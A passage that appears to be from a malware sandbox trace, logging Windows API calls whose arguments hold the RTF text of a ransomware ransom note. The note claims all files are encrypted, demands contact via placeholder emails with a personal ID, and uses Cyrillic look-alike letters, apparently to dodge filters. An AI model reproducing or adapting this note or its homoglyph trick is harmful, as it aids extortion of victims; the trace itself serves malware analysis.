inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 [RDM_STR]\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n") returned 14032 [0033.901] CharUpperBuffW (in: lpsz="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 [EML1]\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 [EML2]\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 [EML3]\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b [KID]\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 [RDM_STR]\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchLength=0x36cf | out: lpsz="{\\RTF1\\ANSI\\ANSICPG1251\\DEFF0\\NOUICOMPAT\\DEFLANG1049{\\FONTTBL{\\F0\\FNIL\\FCHARSET0 CALIBRI;}{\\F1\\FNIL\\FCHARSET204 CALIBRI;}}\r\n{\\COLORTBL ;\\RED255\\GREEN0\\BLUE0;\\RED155\\GREEN0\\BLUE211;\\RED255\\GREEN255\\BLUE0;\\RED0\\GREEN176\\BLUE80;\\RED255\\GREEN255\\BLUE255;}\r\n{\\*\\GENERATOR RICHED20 10.0.15063}\\VIEWKIND4\\UC1 \r\n\\PARD\\RI-500\\SA200\\SL240\\SLMULT1\\QC\\TX8804\\UL\\B\\F0\\FS28\\LANG1033 SHIT H\\F1\\LANG1049\\'C0\\F0\\LANG1033 PPENS!\\ULNONE\\F1\\LANG1049\\PAR\r\n\r\n\\PARD\\RI-74\\SL240\\SLMULT1\\QC\\TX8378\\F0\\FS24\\LANG1033 WE H\\F1\\LANG1049\\'C0\\F0\\LANG1033 VE T\\F1\\LANG1049\\'CE\\F0\\LANG1033 INF\\F1\\LANG1049\\'CE\\F0\\LANG1033 RM Y\\F1\\LANG1049\\'CE\\F0\\LANG1033 U 